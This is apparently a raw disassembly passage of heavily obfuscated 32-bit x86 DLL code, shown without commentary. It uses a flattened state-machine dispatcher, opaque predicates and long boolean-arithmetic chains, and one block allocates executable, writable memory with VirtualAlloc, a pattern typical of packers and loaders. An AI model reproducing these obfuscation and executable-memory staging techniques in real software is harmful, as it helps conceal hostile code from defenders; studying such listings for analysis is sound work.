or al, dl
or ch, dh
xor al, 1
mov edx, eax
xor dl, ch
or al, ch
xor al, 1
or al, dl
mov ch, al
xor ch, 1
mov edx, eax
and dl, ch
xor dl, 1
or dl, ch
xor dl, 1
or dl, al
or al, cl
xor ch, cl
and ch, cl
xor ch, 1
mov dh, ch
xor dh, al
or ch, al
mov al, cl
xor al, 1
xor ch, 1
or ch, dh
mov dh, cl
and dh, dl
xor dl, 1
and al, dl
or al, dh
or dl, cl
xor dl, 1
or dl, al
mov cl, dl
xor cl, 1
mov dh, cl
mov al, ch
or cl, ch
xor ch, 1
and dh, ch
and al, dl
or al, dh
xor ch, dl
xor cl, 1
or cl, ch
xor al, 1
mov edx, eax
xor dl, cl
or al, cl
xor al, 1
or al, dl
mov ecx, eax
xor cl, 1
and al, cl
xor al, 1
mov edx, ecx
xor dl, al
or al, cl
xor al, 1
or al, dl
mov ecx, eax
xor cl, 1
and al, cl
xor al, 1
mov edx, eax
xor dl, cl
or al, cl
xor al, 1
or al, dl
xor ah, 1
mov dl, ah
xor dl, al
mov ecx, edx
xor cl, 1
and cl, al
or al, ah
xor cl, 1
mov ch, cl
xor ch, al
or cl, al
xor cl, 1
or cl, ch
xor cl, 1
or cl, ah
and al, dl
mov ah, al
xor ah, 1
mov edx, ecx
xor dl, ah
or ah, cl
and dl, al
or al, cl
xor dl, 1
mov ecx, edx
xor cl, al
or dl, al
xor dl, 1
or dl, cl
xor dl, 1
mov cl, ah
or cl, dl
xor dl, ah
mov ch, cl
xor ch, dl
test dl, 1
mov eax, 0x6badce68
mov edx, 0x77b243d6
cmovne eax, edx
test cl, 1
mov esi, 0x6badce68
cmovne eax, esi
test ch, 1
cmove eax, edx
jmp 0x1000f5c0
cmp eax, 0x1c969ba7
je 0x10024310
cmp eax, 0x1ff07fd7
jne 0x1000f5c0
cmp byte [ebp - 0x56], 0
mov eax, 0xbc3d5e9
mov ecx, 0x9578e032
cmovne eax, ecx
jmp 0x1000f5c0
cmp eax, 0xe9846d2e
je 0x1002431a
cmp eax, 0xee994b92
jne 0x1000f5c0
cmp byte [ebp - 0x55], 0
mov eax, 0x8a744035
mov ecx, 0x91507daa
cmovne eax, ecx
jmp 0x1000f5c0
cmp eax, 0x54f26c78
je 0x10024d49
cmp eax, 0x56a0f5e8
jne 0x1000f5c0
mov eax, dword [ebp - 0x44]
push 0x40
push 0x1000
push dword [eax]
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ecx, dword [ebp - 0x40]
mov dword [ecx], eax
mov eax, dword [ebp - 0x40]
mov eax, 0x209e6055
jmp 0x1000f5c0
cmp eax, 0x9578e032
je 0x10026a91
cmp eax, 0xaefe3d98
jne 0x1000f5c0
mov eax, dword [0x10049900]
lea edi, [eax + 1]
imul edi, eax
mov esi, edi
not esi
mov ecx, edi
mov dword [ebp - 0x28], edi
and ecx, 0xcb5e2933
mov eax, esi
and eax, 0x34a1d6cc
or eax, ecx
mov edx, eax
xor edx, 0x34a1d6cc
xor eax, 0xc05e2910
and eax, 0xc47eef50
mov ecx, edx
and ecx, 0x3b8110af
or ecx, eax
xor ecx, 0xeb6f6c18
and edx, 0x2f118348
or edx, ecx
mov dword [ebp - 0x20], esi
mov eax, esi
and eax, 0xeefeecbb
and edi, 0x11011344
or edi, eax
xor edi, 0xc1ef6ff3
or edi, esi
mov eax, edi
not eax
mov ecx, eax
mov dword [ebp - 0x14], eax
mov eax, edi
and eax, 0x41a42634
mov esi, edi
xor esi, 0xbe5bd9cb
and esi, ecx
or esi, eax
mov dword [ebp - 0x18], esi
mov esi, edx
mov ecx, edx
xor ecx, 0xbe5bd9cb
and ecx, edx
mov dword [ebp - 0x1c], edx
mov ebx, ecx
not ebx
mov eax, ebx
and eax, 0x8004c08a
and ecx, 0x7ffb3f75
or ecx, eax
mov eax, edx
not eax
or esi, 0x41a42634
or ebx, esi
and esi, 0x8004c08a
mov edx, eax
and edx, 0x3e5b1941
or edx, esi
xor edx, ecx
not ebx
or ebx, edx
xor ebx, dword [ebp - 0x18]
mov ecx, eax
and ecx, 0xae460065
mov edx, dword [ebp - 0x1c]
and edx, 0x51b9ff9a
or edx, ecx
mov ecx, dword [ebp - 0x14]
or eax, ecx
and ecx, 0xae460065
and edi, 0x51b9ff9a
or edi, ecx
xor edi, edx
not eax
or eax, edi
not eax
or eax, ebx
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0xdf5ecf8c
mov esi, eax
and esi, 0x20a13073
or esi, edx
mov edx, esi
xor edx, 0x43
xor esi, 0x4444000
or esi, 0xc0220610
and esi, 0xe4665610
and edx, 0x31009c7
or edx, esi
or ecx, 0x24445000
and ecx, 0xe4665610
and eax, 0x1889a028
or eax, ecx
xor eax, edx
mov ecx, eax
xor ecx, 0x845da8f
mov edx, eax
xor edx, 0xa7282512
xor eax, 0x2321c896
and eax, ecx
or edx, eax
not eax
and eax, 0xd49bede6
and edx, 0x2b641219
or edx, eax
mov eax, edx
xor eax, 0xfffffffe
xor edx, 1
and eax, 0xd83cfb4
mov ecx, edx
and ecx, 0xf27c304b
or ecx, eax
xor ecx, 0xd83cfb5
and edx, 1
or edx, ecx
mov dword [ebp - 0x1c], edx
mov esi, dword [ebp - 0x20]
mov ecx, esi
and ecx, 0xc9dee3f0
mov edi, dword [ebp - 0x28]
mov eax, edi
and eax, 0x36211c0f
or eax, ecx
mov ecx, eax
xor ecx, 0x2421040a
xor eax, 0xc9dee3f0
mov edx, eax
and edx, 0x13989b55
and ecx, 0xec6764aa
or ecx, edx
and esi, edi
mov edx, esi
not edx
or eax, edx
and edx, 0x13989b55
and esi, 0xec6764aa
or esi, edx
xor esi, ecx
not eax
or eax, esi
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0x941d06b8
mov esi, ecx
or esi, 0x941d06b8
mov edi, esi
not edi
or edi, edx
and esi, 0x6be2f946
and edi, 0x941d06b9
or edi, esi
and eax, 0x49ddd2f
mov ebx, ecx
and ebx, 0xfb6222d0
or ebx, eax
mov eax, ebx
xor eax, 0x49ddd2e
and ecx, 1
or ecx, eax
mov esi, edi
not esi
mov eax, esi
and eax, 0x4b4f8115
and edi, 0xb4b07eea
or edi, eax
xor ebx, 0xb02022c0
or esi, ecx
and ecx, 0x4b4f8115
and ebx, 0xb4b07eea
or ebx, ecx
xor ebx, edi
not esi
or esi, ebx
mov dword [ebp - 0x14], esi
mov ebx, dword [ebp - 0x1c]
mov ecx, ebx
not ecx
mov eax, ebx
and eax, 0x1b080734
mov edx, ecx
and edx, 0xc045c00b
or edx, eax
xor edx, 0xc045c00b
xor ebx, 0x24b238c0
and ebx, ecx
or ebx, edx
mov edi, esi
not edi
mov edx, esi
and edx, 0x3fc87da9
mov eax, esi
mov esi, edi
and eax, edi
and esi, 0xc0378256
or esi, edx
mov edi, esi
xor edi, 0x80010242
xor esi, 0x3fc87da9
mov edx, esi
and edx, 0x6bfeddbd
and edi, 0x94012242
or edi, edx
mov edx, eax
not edx
or esi, edx
and edx, 0x6bfeddbd
and eax, 0x94012242
or eax, edx
xor eax, edi
not esi
or esi, eax
mov edi, ebx
xor edi, 0x24b238c0
xor ebx, 0xdb4dc73f
mov eax, ebx
and eax, 0x55a24549
mov edx, edi
mov dword [ebp - 0x2c], edi
and edx, 0xaa5dbab6
or edx, eax
mov eax, edx
xor eax, ebx
and eax, edx
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x1c]
or eax, 0x28082014
and ecx, 0x51804541
and eax, 0x2c2a201c
or eax, ecx
mov dword [ebp - 0x1c], eax
and ebx, 0xda5cc523
and edi, 0x25a33adc
or edi, ebx
mov eax, esi
not eax
mov edx, edi
xor edx, 0x25a33adc
xor edi, 0xd808bdc8
and edi, edx
mov dword [ebp - 0x30], edi
mov ecx, esi
mov dword [ebp - 0x4c], esi
xor ecx, 0x25478eb
and ecx, eax
mov dword [ebp - 0x34], ecx
or edx, eax
mov dword [ebp - 0x38], edx
and eax, 0x2c59ea93
mov edx, esi
and edx, 0xd3a6156c
or edx, eax
mov ecx, edx
xor ecx, 0xd3a6156c
xor edx, 0xc080a02
and edx, 0x8f2a0e6e
mov eax, ecx
and eax, 0x70d5f191
or eax, edx
xor eax, 0xda884b27
and ecx, 0x55a24549
or ecx, eax
mov edx, dword [ebp - 0x1c]
mov edi, edx
xor edi, 0x4000008
xor edx, 0xd3d5dfe3
mov eax, edx
and eax, 0xe1b217b7
and edi, 0x14004048
or edi, eax
mov ebx, dword [ebp - 0x18]
mov esi, ebx
not esi
mov eax, esi
and eax, 0x608d3424
and ebx, 0x9f72cbdb
or ebx, eax
mov dword [ebp - 0x64], ebx
mov eax, edi
xor eax, 0x1e4de848
xor edi, 0xe1b217b7
mov ebx, edi
or ebx, 0x330801b
and ebx, 0x43b0903f
mov dword [ebp - 0x24], eax
and dword [ebp - 0x24], 0x20082400
add dword [ebp - 0x24], ebx
or edx, 0x40811024
mov ebx, dword [ebp - 0x1c]
xor ebx, 0x4020000
and edx, 0x43b1903f
and ebx, 0x14024140
or ebx, edx
xor ebx, dword [ebp - 0x24]
xor ebx, dword [ebp - 0x64]
mov edx, dword [ebp - 0x18]
and edx, 0xbe15156f
and esi, 0x41eaea90
or esi, edx
mov edx, dword [ebp - 0x18]
or edx, edi
and edi, 0x3400054d
and eax, 0x41eaea90
or eax, edi
xor eax, esi
not edx
or edx, eax
xor ebx, 0x40000
not edx
or edx, ebx
mov dword [ebp - 0x18], edx
mov edx, ecx
not edx
mov eax, ecx
xor eax, 0xcc177505
and eax, ecx
mov esi, edx
and esi, 0xcc177505
or esi, eax
mov eax, dword [ebp - 0x14]
or eax, 0xaa5dbab6
mov edi, eax
not edi
mov ebx, eax
and ebx, 0x13a882c8
xor dword [ebp - 0x14], 0x44024501
and dword [ebp - 0x14], edi
or dword [ebp - 0x14], ebx
mov ebx, dword [ebp - 0x14]
xor ebx, esi
mov esi, edx
and esi, 0x2b0e8b77
and ecx, 0xd4f17488
or ecx, esi
or edx, edi
and edi, 0x1020141
and eax, 0xd4f17488
or eax, edi
xor eax, ecx
not edx
or edx, eax
xor ebx, 0x20400832
not edx
or edx, ebx
mov ecx, edx
xor ecx, 0x10270008
xor edx, 0x7581590
and edx, 0x27585dd3
and ecx, 0xd8a7a22c
or ecx, edx
xor ecx, dword [ebp - 0x18]
mov edx, dword [ebp - 0x2c]
and edx, 0xfdab8714
or edx, dword [ebp - 0x30]
mov eax, dword [ebp - 0x4c]
and eax, 0xfdab8714
or eax, dword [ebp - 0x34]
xor eax, edx
mov esi, dword [ebp - 0x38]
not esi
or esi, eax
mov eax, ecx
xor eax, 0x15d0100
xor ecx, 0xe880ea67
mov edx, ecx
and ecx, 0x562234b9
and eax, 0xa9ddcb46
or eax, ecx
or edx, esi
not edx
xor eax, esi
xor eax, 0xa9ddcb46
or eax, edx
mov edx, eax
not edx
mov ecx, edx
and ecx, 0x24e45840
mov esi, eax
and esi, 0x8100384
or esi, ecx
xor esi, 0x8100384
mov edi, eax
and edi, 0xd30ba43b
or edi, esi
mov ecx, edi
xor ecx, 0x5103a421
xor edi, 0x20c04840
and edi, 0xa2c8485a
and ecx, 0x5d37b7a5
or ecx, edi
and edx, 0x1b7aa6f0
and eax, 0xe485590f
or eax, edx
mov edx, eax
xor edx, 0xe485590f
xor eax, 0x1932a680
and eax, 0xbdb6fe8d
mov esi, edx
and esi, 0x42490172
or esi, eax
xor esi, 0x42490172
or esi, edx
mov eax, ecx
xor eax, 0x5d37b7a5
xor ecx, 0xa2c8485a
mov edx, esi
not edx
and edx, eax
or eax, esi
and esi, ecx
not eax
or esi, edx
or esi, eax
mov dword [ebp - 0x24], esi
mov esi, dword [ebp - 0x20]
mov eax, esi
and eax, 0x31c67ebe
mov edi, dword [ebp - 0x28]
mov edx, edi
and edx, 0xce398141
or edx, eax
xor edx, 0x70689130
mov ecx, edi
and ecx, 0x41aeef8e
or ecx, edx
and edi, 0x5d0eb93b
mov eax, esi
and eax, 0xa2f146c4
or eax, edi
mov edx, ecx
not edx
xor eax, 0xe35fa94a
and esi, 0xbe511071
or esi, eax
mov dword [ebp - 0x20], esi
mov eax, ecx
and eax, 0xf7a4faa1
mov ebx, edx
and ebx, 0x85b055e
or ebx, eax
mov esi, ebx
xor esi, 0x85b055e
xor ebx, 0xc913ebec
and ebx, esi
mov edi, ebx
not edi
mov eax, edi
and eax, 0x323db255
and ebx, 0xcdc24daa
or ebx, eax
or ecx, 0x3eb7114d
or edi, ecx
and ecx, 0x323db255
and edx, 0xc1404ca2
or edx, ecx
xor edx, ebx
not edi
or edi, edx
mov eax, dword [ebp - 0x20]
or esi, eax
xor eax, 0xc148eeb2
mov ecx, eax
xor ecx, eax
not ecx
and ecx, edi
xor ecx, eax
mov edi, ecx
not edi
mov eax, edi
and eax, 0xad8d1b2
and ecx, 0xf5272e4d
or ecx, eax
mov edx, esi
not edx
or edi, esi
and esi, 0xad8d1b2
and edx, 0xf5272e4d
or edx, esi
xor edx, ecx
not edi
or edi, edx
mov ecx, edi
not ecx
mov eax, edi
xor eax, 0xf03b2a01
and eax, edi
or edi, 0xfc4d5fe
mov edx, edi
and edx, 0x6954ce57
and ecx, 0x902b2000
or ecx, edx
mov edx, eax
not edx
or edi, edx
and edx, 0x6954ce57
and eax, 0x96ab31a8
or eax, edx
xor eax, ecx
not edi
or edi, eax
mov ebx, dword [ebp - 0x24]
mov ecx, ebx
not ecx
mov eax, ecx
and eax, ebx
mov edx, ecx
and edx, 0x15606774
mov esi, ebx
mov dword [ebp - 0x14], ebx
and ebx, 0xea9f988b
or ebx, edx
and esi, 0x11d65c85
xor ebx, 0x9abad03f
or ebx, ecx
mov dword [ebp - 0x24], ebx
and ecx, 0xee29a37a
or ecx, esi
mov edx, eax
not edx
mov esi, dword [ebp - 0x14]
or esi, edx
and edx, 0x11d65c85
and eax, 0xee29a37a
or eax, edx
xor eax, ecx
mov ecx, edi
xor ecx, 0xb195c58f
not esi
or esi, eax
mov dword [ebp - 0x14], esi
xor edi, 0x4e6a3a70
mov eax, edi
and eax, 0x2a585634
mov edx, ecx
and edx, 0xd5a7a9cb
or edx, eax
xor edx, 0xd5a7a9cb
mov ebx, edi
and ebx, ecx
or ebx, edx
mov dword [ebp - 0x1c], ebx
mov eax, esi
not eax
mov dword [ebp - 0x20], eax
and eax, 0x8fdab74b
mov esi, dword [ebp - 0x14]
and esi, 0x702548b4
or esi, eax
mov edx, esi
xor edx, dword [ebp - 0x20]
and edx, esi
mov eax, ebx
not eax
mov dword [ebp - 0x18], eax
and eax, 0x8fdab74b
and ebx, 0x702548b4
or ebx, eax
mov eax, ebx
xor eax, dword [ebp - 0x18]
and eax, ebx
and ecx, 0xc9c1afdb
mov esi, edi
and esi, 0x363e5024
or esi, ecx
xor esi, 0xb9e4e76f
and edi, 0x702548b4
or edi, esi
mov esi, edx
not esi
mov ecx, esi
and esi, 0xb34fa83b
and edx, 0x4cb057c4
or edx, esi
mov esi, dword [ebp - 0x24]
or ecx, esi
xor edx, esi
mov esi, edx
xor esi, 0x4cb057c4
xor edx, 0xb34fa83b
mov ebx, edx
and ebx, 0x11aec4e4
and esi, 0xee513b1b
or esi, ebx
xor esi, ecx
or edx, ecx
xor esi, 0xee513b1b
not edx
or edx, esi
mov esi, eax
not esi
mov ecx, esi
and esi, 0x5de032ad
and eax, 0xa21fcd52
or eax, esi
or ecx, edi
xor eax, edi
not ecx
xor eax, 0xa21fcd52
or eax, ecx
mov ecx, edx
not ecx
mov esi, ecx
and esi, 0xc63a6fc3
and edx, 0x39c5903c
or edx, esi
or ecx, eax
not eax
xor edx, 0xc63a6fc3
or edx, eax
mov eax, ecx
xor eax, edx
or edx, ecx
not edx
or edx, eax
mov eax, dword [ebp - 0x20]
and eax, 0x2559d425
mov ecx, dword [ebp - 0x14]
mov edi, ecx
and edi, 0xdaa62bda
or edi, eax
mov eax, edi
xor eax, 0xdaa62bda
mov dword [ebp - 0x20], eax
and eax, 0x386d0709
and ecx, 0xc792f8f6
or ecx, eax
mov dword [ebp - 0x14], ecx
mov esi, dword [ebp - 0x1c]
xor esi, 0x386d0709
mov ecx, esi
and ecx, dword [ebp - 0x18]
mov eax, ecx
not eax
mov ebx, eax
and ebx, 0xbd35d27a
and ecx, 0x42ca2d85
or ecx, ebx
and esi, dword [ebp - 0x1c]
mov ebx, esi
not ebx
or eax, ebx
and ebx, 0xbd35d27a
and esi, 0x42ca2d85
or esi, ebx
xor esi, ecx
not eax
or eax, esi
mov esi, eax
xor esi, eax
not esi
and esi, dword [ebp - 0x14]
xor esi, eax
xor edi, 0x2559d425
mov eax, edi
and eax, 0x24a23804
mov ecx, dword [ebp - 0x20]
and ecx, 0xdb5dc7fb
or ecx, eax
mov ebx, ecx
mov eax, dword [ebp - 0x1c]
or edi, eax
and eax, 0x24a23804
mov ecx, eax
mov eax, dword [ebp - 0x18]
and eax, 0xdb5dc7fb
or eax, ecx
xor eax, ebx
not edi
or edi, eax
mov eax, esi
not eax
mov ecx, eax
and ecx, 0xa15b0404
and esi, 0x5ea4fbfb
or esi, ecx
xor esi, edi
xor esi, 0x5ea4fbfb
or eax, edi
not eax
or eax, esi
mov ecx, eax
xor ecx, 0xde799614
and ecx, eax
not eax
and eax, 0xde799614
or eax, ecx
not ecx
and ecx, 0x218669eb
and eax, 0xde799614
or eax, ecx
mov edi, eax
not edi
mov ecx, edi
and ecx, 0x44689bf5
and eax, 0xbb97640a
or eax, ecx
xor eax, 0x44689bf5
xor edi, eax
and edi, eax
mov eax, edx
mov esi, edx
xor esi, 0x777dc84a
and esi, edx
mov ecx, edx
not ecx
or eax, 0x888237b5
mov ebx, eax
and ebx, 0x77caaf8f
mov edx, ecx
and edx, 0x354040
or edx, ebx
mov ebx, esi
not ebx
or eax, ebx
and ebx, 0x77caaf8f
and esi, 0x88355070
or esi, ebx
xor esi, edx
not eax
or eax, esi
xor eax, edi
not edi
mov edx, eax
xor edx, 0x12350042
or edi, ecx
mov ecx, edi
not ecx
xor eax, 0x888237b5
mov esi, eax
and esi, 0x6dc8d82d
and edx, 0x923727d2
or edx, esi
or eax, edi
and edi, 0x6dc8d82d
and ecx, 0x923727d2
or ecx, edi
xor ecx, edx
not eax
or eax, ecx
mov ecx, eax
not ecx
mov edx, eax
and edx, 0xd1620e0
mov esi, ecx
and esi, 0x8669dbfe
and eax, 0x79962401
or eax, esi
xor eax, 0x468018f5
or eax, ecx
mov edi, ecx
and edi, 0x32001c14
or edi, edx
xor edi, 0x32001c14
or edi, 0xc0e9c30b
mov ecx, edi
not ecx
mov dword [ebp - 0x14], ecx
mov esi, eax
not esi
and edi, 0xc8576b5d
and ecx, 0x370014a0
or ecx, edi
mov edx, eax
and edx, 0x5791c13
xor eax, 0x2d10ef11
and eax, esi
and esi, 0xfa86e3ec
or esi, edx
mov ebx, ecx
xor ebx, 0x37a894a2
mov edx, ecx
xor edx, 0x1ab87bb3
and edx, ebx
mov edi, dword [ebp - 0x14]
and edi, 0x2d102c10
or edi, edx
mov dword [ebp - 0x14], edi
mov edi, esi
xor edi, 0xfa86e3ec
mov edx, esi
xor edx, 0xd7960cfd
and edx, edi
or eax, edx
mov edx, eax
xor edx, eax
not edx
and edx, dword [ebp - 0x14]
xor edx, eax
xor ecx, 0xc8576b5d
mov eax, ecx
and eax, 0x211600d4
and ebx, 0x9ec93f22
or ebx, eax
xor esi, 0x5791c13
or ecx, esi
and esi, 0x6136c0dd
and edi, 0x9ec93f22
or edi, esi
xor edi, ebx
not ecx
or ecx, edi
not ecx
or ecx, edx
mov eax, ecx
xor eax, 0x80e8c201
xor ecx, 0x351610e0
and ecx, 0x751711ea
and eax, 0x8ae8ee15
or eax, ecx
mov ecx, eax
xor ecx, 0x2204801
xor eax, 0x60160
and eax, 0x88cea774
and ecx, 0x7731588b
or ecx, eax
mov eax, ecx
xor eax, 0x8888160
xor ecx, 0x22301803
and ecx, 0xa2763e17
and eax, 0x5d89c1e8
or eax, ecx
mov ecx, eax
xor ecx, 0xa0303615
xor eax, 0x5c0881c8
and eax, 0x5e4e89ca
and ecx, 0xa1b17635
or ecx, eax
xor ecx, 0xa1b17635
sete ah
setne al
mov byte [ebp - 0x14], al
cmp dword [0x10049904], 0xa
setge ch
setl cl
mov edx, eax
inc dl
or dl, cl
mov bh, dl
xor bh, 1
mov bl, ch
or bl, al
mov dh, bl
xor dh, 1
mov al, dh
and al, dl
or dh, bh
and bh, bl
or bh, al
xor bl, dl
xor dh, 1
or dh, bl
xor dh, 1
or dh, bh
mov al, cl
xor al, ah
mov ebx, ecx
or bl, ah
and bl, al
mov dl, dh
and dl, cl
and cl, byte [ebp - 0x14]
mov al, bl
xor al, ah
or bl, ah
and ah, ch
or cl, ah
mov ah, dh
xor ah, 1
xor cl, 1
or cl, ch
and ch, ah
or dl, ch
mov ch, dl
xor ch, 1
and ah, ch
and dl, dh
or dl, ah
xor dl, 1
or dl, ch
xor bl, 1
or bl, al
mov ch, cl
xor ch, 1
mov al, ch
and al, cl
xor al, 1
mov ah, cl
xor ah, al
or al, cl
xor al, 1
or al, ah
mov ah, bl
mov dh, bl
xor dh, ch
and dh, bl
and ch, bl
xor bl, 1
and ah, al
xor al, 1
and al, bl
or al, ah
and cl, bl
mov ah, dl
xor ah, 1
or ch, cl
mov cl, dh
xor cl, 1
xor dh, ch
xor ch, 1
or ch, cl
xor ch, 1
or ch, dh
mov cl, ch
xor cl, 1
mov dh, ch
and dh, al
xor al, 1
and cl, al
or cl, dh
or al, ch
xor al, 1
or al, cl
mov ch, al
or ch, ah
mov cl, dl
xor cl, al
and cl, ah
xor cl, 1
mov dh, cl
xor dh, ch
or cl, ch
xor cl, 1
or cl, dh
mov ch, al
xor ch, 1
xor cl, 1
or cl, dl
xor cl, 1
or ch, ah
or al, dl
mov edx, eax
xor dl, ch
xor dl, 1
or al, ch
mov ah, dl
xor ah, al
or al, dl
xor al, 1
or al, ah
mov ch, al
xor ch, 1
mov edx, ecx
mov ah, al
and ah, ch
xor ah, 1
or ah, ch
xor ah, 1
or ah, al
xor ah, cl
xor cl, al
or dl, al
xor dl, 1
or dl, cl
xor dl, 1
xor ah, dl
mov al, ah
xor al, 1
and dl, al
xor al, dl
test al, 1
mov ecx, 0x3c835a70
mov esi, 0xf5d7e23a
cmovne ecx, esi
test ah, 1
mov eax, ecx
mov esi, 0x3c835a70
cmovne eax, esi
test dl, 1
cmove eax, ecx
jmp 0x1000f5c0
cmp eax, 0x41ee25a8
je 0x10027587
cmp eax, 0x4295859e
jne 0x1000f5c0
cmp byte [ebp - 0x54], 0
mov eax, 0x42bccd6e
mov ecx, 0x1a46886f
cmovne eax, ecx
jmp 0x1000f5c0
cmp eax, 0xbc3d5e9
je 0x10027591
cmp eax, 0xbe0737a
jne 0x1000f5c0
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x68]
mov eax, dword [ebp - 0x60]
mov eax, dword [ebp - 0x48]
mov eax, dword [eax]
mov dword [ebp - 0x6c], eax
mov eax, 0xb357393b
jmp 0x1000f5c0
cmp eax, 0x7d9f6b21
je 0x10027f55
cmp eax, 0x7fafc0c3
jne 0x1000f5c0
mov eax, dword [0x10049900]
lea edx, [eax + 1]
imul edx, eax
mov eax, edx
not eax
mov ecx, eax
mov edi, eax
mov dword [ebp - 0x1c], eax
and ecx, 0xb344fb1f
mov eax, edx
mov esi, edx
and eax, 0x4cbb04e0
or eax, ecx
mov ecx, eax
xor ecx, 0x401a0440
xor eax, 0xb344fb1f
mov edx, eax
and edx, 0x8fe548a8
and ecx, 0x701ab757
or ecx, edx
mov edx, edi
and edx, esi
mov ebx, esi
mov dword [ebp - 0x20], esi
mov esi, edx
not esi
or eax, esi
and esi, 0x8fe548a8
and edx, 0x701ab757
or edx, esi
xor edx, ecx
not eax
or eax, edx
mov ecx, edi
and ecx, 0xeee8bb48
mov edx, ebx
and edx, 0x111744b7
or edx, ecx
mov esi, edx
xor esi, 0x111744b7
xor edx, 0xc880248
and edx, 0xd990258
mov ecx, esi
and ecx, 0xf266fda7
or ecx, edx
xor ecx, 0xf266fda7
or ecx, esi
mov esi, eax
not esi
mov edx, esi
and edx, 0x95c135df
mov edi, eax
and edi, 0x6a3eca20
or edi, edx
mov ebx, edi
xor ebx, 0x12412
or ebx, 0x980c9004
mov edx, edi
xor edi, 0x104000
and ebx, 0xda0fbe16
and edi, 0x5104088
or edi, ebx
or esi, 0x42032e12
and esi, 0xda0fbe16
and eax, 0x20e00161
or eax, esi
xor eax, edi
mov edi, ecx
xor edi, 0xb8ec9165
and edi, ecx
mov esi, edi
not esi
mov ebx, esi
and ebx, 0xe68ef6e0
and edi, 0x1971091f
or edi, ebx
xor edx, 0x6a3eca20
or edx, ecx
mov ebx, ecx
or ecx, 0x47136e9a
not ebx
or esi, ecx
and ecx, 0xe68ef6e0
and ebx, 0x18600105
or ebx, ecx
xor ebx, edi
not esi
or esi, ebx
mov ecx, esi
xor ecx, esi
not ecx
and ecx, eax
xor ecx, esi
not edx
or edx, ecx
mov esi, edx
not esi
and edx, 0x58320f96
and esi, 0xa7cdf069
or esi, edx
mov eax, esi
xor eax, 0x23c15028
xor esi, 0x58320f97
and eax, 0x23f15fa8
mov ecx, esi
and ecx, 0xdc0ea057
or ecx, eax
xor ecx, 0x23f15fa9
and esi, 1
or esi, ecx
mov dword [ebp - 0x18], esi
mov esi, dword [ebp - 0x1c]
mov eax, esi
and eax, 0x60c02150
mov edx, dword [ebp - 0x20]
mov ecx, edx
and ecx, 0x14230203
or ecx, eax
xor ecx, 0x14230203
mov eax, edx
mov edi, edx
and eax, 0x8b1cdcac
or eax, ecx
mov edx, esi
and edx, 0x8dca103d
mov ecx, edi
and ecx, 0x7235efc2
or ecx, edx
mov ebx, eax
xor ebx, 0x8b1cdcad
xor eax, 0x40022102
mov edx, ebx
and edx, 0xb7e506d8
and eax, 0x481af927
or eax, edx
mov edx, ecx
xor edx, 0x4010e902
xor ecx, 0x8dca103d
or ebx, ecx
and ecx, 0xb7e506d8
and edx, 0x481af927
or edx, ecx
xor edx, eax
not ebx
or ebx, edx
mov edx, ebx
not edx
mov esi, edx
or esi, 0xbc0534f1
mov eax, esi
and eax, 0x9267bdba
mov ecx, ebx
and ecx, 0x41984204
or ecx, eax
mov eax, ebx
xor eax, 0xbc0534f1
and eax, edx
mov edi, eax
not edi
or esi, edi
and edi, 0x9267bdba
and eax, 0x6d984245
or eax, edi
xor eax, ecx
not esi
or esi, eax
mov ecx, dword [ebp - 0x18]
mov eax, ecx
not eax
mov dword [ebp - 0x28], eax
and eax, 0x81100022
and ecx, 0x1a8e3800
or ecx, eax
mov eax, ecx
xor eax, 0x18063000
or eax, 0x400010
xor ecx, 0x1000000
and ecx, 0x3880800
and eax, 0x98563032
or eax, ecx
mov dword [ebp - 0x14], esi
mov ecx, esi
xor ecx, 0xbc0534f1
mov dword [ebp - 0x2c], ecx
mov edi, esi
xor edi, 0x43facb0e
mov dword [ebp - 0x24], edi
and edi, 0x91af7187
mov esi, ecx
and esi, 0x6e508e78
or esi, edi
and edx, 0xfb6053d8
mov edi, ebx
and edi, 0x49fac27
or edi, edx
xor edi, 0x60fe6bfa
and ebx, 0x9b9e3822
or ebx, edi
mov edi, eax
xor edi, 0x98563032
mov edx, eax
xor edx, 0x67a9cfcd
xor eax, 0x809ba128
and edx, eax
and eax, edi
mov edi, edx
not edi
mov ecx, edi
and ecx, 0xc50e0247
and edx, 0x1a91b930
or edx, ecx
mov ecx, eax
not ecx
or edi, ecx
and ecx, 0xc54e024f
and eax, 0x1a903820
or eax, ecx
xor eax, edx
not edi
or edi, eax
mov ecx, dword [ebp - 0x18]
mov eax, ecx
or eax, 0x9b9e3822
mov edx, ecx
xor edx, 0x6c65c7dd
and edx, eax
mov eax, ecx
xor eax, 0x642046c5
xor edx, eax
xor edx, edi
xor esi, 0xa3149a5
or esi, dword [ebp - 0x24]
mov edi, ebx
xor edi, esi
or ebx, esi
mov eax, edi
not eax
mov ecx, eax
and ecx, 0x2143ed9e
and edi, 0xdebc1261
or edi, ecx
mov ecx, ebx
not ecx
or eax, ebx
and ebx, 0x2143ed9e
and ecx, 0xdebc1261
or ecx, ebx
xor ecx, edi
not eax
or eax, ecx
mov ecx, edx
xor ecx, 0x10880000
xor edx, 0xef77effd
mov esi, edx
and esi, 0x28013883
and ecx, 0xd7fec77c
or ecx, esi
xor ecx, eax
xor ecx, 0x28013883
and ecx, eax
or edx, eax
not edx
or edx, ecx
mov eax, dword [ebp - 0x14]
xor eax, 0x889f902
mov ebx, dword [ebp - 0x2c]
and eax, ebx
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x24]
and eax, 0x78b33955
and ebx, 0x874cc6aa
or ebx, eax
mov eax, dword [ebp - 0x18]
mov edi, eax
xor edi, 0xb48ccdf3
and edi, eax
mov ecx, ebx
xor ecx, 0x874cc6aa
mov esi, dword [ebp - 0x28]
or ecx, esi
mov dword [ebp - 0x18], ecx
or eax, 0x4b73320c
mov ecx, eax
and ecx, 0xa9082059
and esi, 0x1484cda2
or esi, ecx
mov ecx, edi
not ecx
or eax, ecx
and ecx, 0xa9082059
and edi, 0x56f7dfa6
or edi, ecx
xor edi, esi
not eax
or eax, edi
mov ecx, ebx
xor ecx, 0x30800951
or ecx, 0x4b73320c
xor ebx, 0x840880a2
mov esi, ecx
and esi, 0x1aa56c18
and ebx, 0xa40881e3
or ebx, esi
mov edi, dword [ebp - 0x14]
mov esi, edi
not esi
or ecx, esi
and esi, 0x1aa56c18
and edi, 0xe55a93e7
or edi, esi
xor edi, ebx
not ecx
or ecx, edi
mov esi, ecx
xor esi, ecx
not esi
and esi, eax
xor esi, ecx
mov ecx, esi
not ecx
mov eax, ecx
